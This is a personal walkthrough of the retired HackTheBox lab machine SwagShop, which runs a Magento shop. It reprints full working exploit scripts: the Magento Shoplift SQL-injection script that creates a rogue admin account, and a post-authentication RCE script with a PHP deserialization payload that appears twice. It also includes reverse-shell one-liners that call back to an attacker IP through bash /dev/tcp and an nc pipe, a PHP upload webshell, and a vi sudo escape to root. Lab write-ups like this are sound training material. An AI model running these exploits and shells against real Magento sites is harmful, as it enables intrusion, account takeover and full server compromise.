Published on

HTB SwagShop

Authors

SwagShop

Enumeration

nmap find all ports

nmap -p- -Pn $IP -o full-enumerate.nmap

nmap -p- -Pn $IP -o full-enumerate.nmap                             
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 23:00 EDT
Nmap scan report for 10.10.10.140
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 15.11 seconds

~/Tools/COLLINHACKS/Lab/nmap-awk.sh full-enumerate.nmap

cat ports.nmap

nmap check UDP

sudo nmap -sU --top-ports 1000 -v $IP -o udp.nmap

nmap all identified ports + default scripts & service versions

nmap -p <1,2,3> -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap

└─$ nmap -p 22,80 -A --script default --script http-methods --script http-headers $IP -o identified-ports.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 23:00 EDT
Nmap scan report for 10.10.10.140
Host is up (0.024s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-headers: 
|   Date: Sun, 01 Oct 2023 03:00:52 GMT
|   Server: Apache/2.4.18 (Ubuntu)
|   Location: http://swagshop.htb/
|   Content-Length: 0
|   Connection: close
|   Content-Type: text/html; charset=UTF-8
|   
|_  (Request type: GET)
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds

nmap vuln scan

nmap -p <1,2,3> --script vuln $IP -o vuln.nmap

nmap -p 22,80 --script vuln $IP -o vuln.nmap                                                              
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-30 23:01 EDT
Nmap scan report for 10.10.10.140
Host is up (0.048s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /app/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /errors/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|   /includes/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
|_  /lib/: Potentially interesting directory w/ listing on 'apache/2.4.18 (ubuntu)'
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_      http://ha.ckers.org/slowloris/

Nmap done: 1 IP address (1 host up) scanned in 321.78 seconds

Port Enumeration

**Port 80

  • swagshop.htb to /etc/hosts
Untitled

ffuf

magescan

  • it’s a Magento site so we can use magescan to scan for anything possibly helpful to us

Untitled Database

  • php magescan.phar scan:all swagshop.htb

    Untitled

    Untitled

    Untitled


Exploitation

**********Port 80

Foothold

  1. searchsploit magento

    Untitled

This one sticks out to me 37977 cuz RCE is usually quickest to a shell

  • had to comment lines 13-15

    Untitled

  • and had to delete a bunch of ///////// random lines

  1. Created an account on the website http://swagshop.htb/index.php/customer/account/login/
  • 37977.py

    ##################################################################################################
    #Exploit Title : Magento Shoplift exploit (SUPEE-5344)
    #Author        : Manish Kishan Tanwar AKA error1046
    #Date          : 25/08/2015
    #Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Jagriti,Kishan Singh and ritu rathi
    #Debugged At  : Indishell Lab(originally developed by joren)
    ##################################################################################################
    
    #Magento shoplift bug originally discovered by CheckPoint team (http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/)
    #This python script developed by joren but it was having some bug because of which it was not working properly.
    #If magento version is vulnerable, this script will create admin account with username forme and password forme
    
    #Thanks to
    # Zero cool, code breaker ICA, Team indishell, my father , rr mam, jagriti and DON
    import requests
    import base64
    import sys
    
    target = "http://swagshop.htb/index.php"
    
    if not target.startswith("http"):
        target = "http://" + target
    
    if target.endswith("/"):
        target = target[:-1]
    
    target_url = target + "/admin/Cms_Wysiwyg/directive/index/"
    
    q="""
    SET @SALT = 'rp';
    SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
    SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
    INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','email@example.com','{username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());
    INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{username}'),'Firstname');
    """
    
    query = q.replace("\n", "").format(username="forme", password="forme")
    pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);{0}".format(query)
    
    # e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ decoded is{{block type=Adminhtml/report_search_grid output=getCsvFile}}
    r = requests.post(target_url,
                      data={"___directive": "e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ",
                            "filter": base64.b64encode(pfilter),
                            "forwarded": 1})
    if r.ok:
        print "WORKED"
        print "Check {0}/admin with creds forme:forme".format(target)
    else:
        print "DID NOT WORK"
    
       #                          --==[[ Greetz To ]]==--
    ############################################################################################
    #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,
    #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
    #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
    #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
    #############################################################################################
           #                      --==[[Love to]]==--
    # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
    #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
              #             --==[[ Special Fuck goes to ]]==--
              #                  <3  suriya Cyber Tyson <3
    
Changed:
target = "http://target.com/" 

To:
target = "http://swagshop.htb/index.php"
  1. python2 37977.py

    Untitled

    Untitled

  2. We then use 37811.py which is Authenticated RCE since we are now authenticated, but we need to change a few things.

# Config.
username = 'forme'
password = 'forme'
php_function = 'system'  # Note: we can only pass 1 argument to the function
install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml
  1. Had to go to /app/etc/local.xml to get the time to match the payload’s requirements

    Untitled

  2. python2 37811.py 'http://swagshop.htb/index.php/admin/' "uname -a"

    Untitled

    • Kept erroring, here we are getting control errors saying we have more than one control matching name
  • Fixed 37811.py

    #!/usr/bin/python
    # Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
    # Google Dork: "Powered by Magento"
    # Date: 08/18/2015
    # Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
    # Vendor Homepage: http://magento.com/
    # Software Link: https://www.magentocommerce.com/download
    # Version: 1.9.0.1 and below
    # Tested on: Ubuntu 15
    # CVE : none
    
    from hashlib import md5
    import sys
    import re
    import base64
    import mechanize
    
    def usage():
        print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
        sys.exit()
    
    if len(sys.argv) != 3:
        usage()
    
    # Command-line args
    target = sys.argv[1]
    arg = sys.argv[2]
    
    # Config.
    username = 'forme'
    password = 'forme'
    php_function = 'system'  # Note: we can only pass 1 argument to the function
    install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml
    
    # POP chain to pivot into call_user_exec
    payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
              '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
              'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
              'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
              '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
              ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                         len(arg), arg)
    # Setup the mechanize browser and options
    br = mechanize.Browser()
    #br.set_proxies({"http": "localhost:8080"})
    br.set_handle_robots(False)
    
    request = br.open(target)
    
    #br.select_form(nr=0)
    #br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
    #br.form.fixup()
    #br['login[username]'] = username
    #br['login[password]'] = password
    
    #new
    br.select_form(nr=0)
    userone = br.find_control(name="login[username]", nr=0)
    userone.value = username
    pwone = br.find_control(name="login[password]", nr=0)
    pwone.value = password
    
    br.method = "POST"
    request = br.submit()
    content = request.read()
    
    url = re.search("ajaxBlockUrl = \'(.*)\'", content)
    url = url.group(1)
    key = re.search("var FORM_KEY = '(.*)'", content)
    key = key.group(1)
    
    request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
    tunnel = re.search("src=\"(.*)\?ga=", request.read())
    tunnel = tunnel.group(1)
    
    payload = base64.b64encode(payload)
    gh = md5(payload + install_date).hexdigest()
    
    exploit = tunnel + '?ga=' + payload + '&h=' + gh
    
    try:
        request = br.open(exploit)
    except (mechanize.HTTPError, mechanize.URLError) as e:
        print e.read()
    
  1. python 37811.py 'http://swagshop.htb/index.php/admin/' 'whoami'

    Untitled

Shell with 37811.py

  1. 9001
  2. python2 37811.py 'http://swagshop.htb/index.php/admin/' "bash -c '/bin/bash -i >& /dev/tcp/10.10.16.2/9001 0>&1'"

Nothing

Alternative Foothold Exploit - magento-oneshot.py

https://github.com/epi052/htb-scripts-for-retired-boxes/blob/master/swagshop/magento-oneshot.py

  1. wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py

  2. python3 magento-oneshot.py http://swagshop.htb/index.php/ --command whoami

    Untitled

  3. Check for nc installed

    1. python3 magento-oneshot.py http://swagshop.htb/index.php/ --command 'which nc'

      Untitled

  4. Call shell with nc

    1. python3 magento-oneshot.py http://swagshop.htb/index.php/ --command 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.2 9001 >/tmp/f'

Didn’t work

Actual way to get foothold

  1. Login to index.php/admin

  2. Proceed to Catalog -> Manage Products -> Any Product (I choose HTB Sticker) -> Custom Options -> Add New Option -> Reverse Shell -> Allowed File Extensions = .php -> Save

    Untitled

  3. Go back to /index.php and find the Stickers

    1. http://swagshop.htb/index.php/5-x-hack-the-box-sticker.html

    2. It has my function

      Untitled

  4. Add to cart

  5. Now there will be a PHP file in /media/custom_options/quote/(then this is user specific)

    1. Mine was here http://swagshop.htb/media/custom_options/quote/r/e/

    2. http://swagshop.htb/media/custom_options/quote/r/e/6d50b51b1f39038faf2619ef20109f9e.php

      Untitled

  6. Click the file and make sure you have a listener running 9001

    Untitled

finallyyyyy bro lol

Root

  1. sudo -l

    Untitled

  2. Matches a GTFObins

    Untitled

  • sudo /usr/bin/vi /var/www/html/* works as sudo
  • sudo /usr/bin/vi does not work
  • sudo /usr/bin/vi test does not work
  1. sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null

    Untitled


Useful resource links

https://yufongg.github.io/posts/SwagShop/#tcp80-http---magento-rce-creating-python2-environment

  • Fixed 37811.py

    #!/usr/bin/python
    # Exploit Title: Magento CE < 1.9.0.1 Post Auth RCE
    # Google Dork: "Powered by Magento"
    # Date: 08/18/2015
    # Exploit Author: @Ebrietas0 || http://ebrietas0.blogspot.com
    # Vendor Homepage: http://magento.com/
    # Software Link: https://www.magentocommerce.com/download
    # Version: 1.9.0.1 and below
    # Tested on: Ubuntu 15
    # CVE : none
    
    from hashlib import md5
    import sys
    import re
    import base64
    import mechanize
    
    def usage():
        print "Usage: python %s <target> <argument>\nExample: python %s http://localhost \"uname -a\""
        sys.exit()
    
    if len(sys.argv) != 3:
        usage()
    
    # Command-line args
    target = sys.argv[1]
    arg = sys.argv[2]
    
    # Config.
    username = 'forme'
    password = 'forme'
    php_function = 'system'  # Note: we can only pass 1 argument to the function
    install_date = 'Wed, 08 May 2019 07:23:09 +0000'  # This needs to be the exact date from /app/etc/local.xml
    
    # POP chain to pivot into call_user_exec
    payload = 'O:8:\"Zend_Log\":1:{s:11:\"\00*\00_writers\";a:2:{i:0;O:20:\"Zend_Log_Writer_Mail\":4:{s:16:' \
              '\"\00*\00_eventsToMail\";a:3:{i:0;s:11:\"EXTERMINATE\";i:1;s:12:\"EXTERMINATE!\";i:2;s:15:\"' \
              'EXTERMINATE!!!!\";}s:22:\"\00*\00_subjectPrependText\";N;s:10:\"\00*\00_layout\";O:23:\"'     \
              'Zend_Config_Writer_Yaml\":3:{s:15:\"\00*\00_yamlEncoder\";s:%d:\"%s\";s:17:\"\00*\00'     \
              '_loadedSection\";N;s:10:\"\00*\00_config\";O:13:\"Varien_Object\":1:{s:8:\"\00*\00_data\"' \
              ';s:%d:\"%s\";}}s:8:\"\00*\00_mail\";O:9:\"Zend_Mail\":0:{}}i:1;i:2;}}' % (len(php_function), php_function,
                                                                                         len(arg), arg)
    # Setup the mechanize browser and options
    br = mechanize.Browser()
    #br.set_proxies({"http": "localhost:8080"})
    br.set_handle_robots(False)
    
    request = br.open(target)
    
    #br.select_form(nr=0)
    #br.form.new_control('text', 'login[username]', {'value': username})  # Had to manually add username control.
    #br.form.fixup()
    #br['login[username]'] = username
    #br['login[password]'] = password
    
    #new
    br.select_form(nr=0)
    userone = br.find_control(name="login[username]", nr=0)
    userone.value = username
    pwone = br.find_control(name="login[password]", nr=0)
    pwone.value = password
    
    br.method = "POST"
    request = br.submit()
    content = request.read()
    
    url = re.search("ajaxBlockUrl = \'(.*)\'", content)
    url = url.group(1)
    key = re.search("var FORM_KEY = '(.*)'", content)
    key = key.group(1)
    
    request = br.open(url + 'block/tab_orders/period/7d/?isAjax=true', data='isAjax=false&form_key=' + key)
    tunnel = re.search("src=\"(.*)\?ga=", request.read())
    tunnel = tunnel.group(1)
    
    payload = base64.b64encode(payload)
    gh = md5(payload + install_date).hexdigest()
    
    exploit = tunnel + '?ga=' + payload + '&h=' + gh
    
    try:
        request = br.open(exploit)
    except (mechanize.HTTPError, mechanize.URLError) as e:
        print e.read()
    

Lessons Learned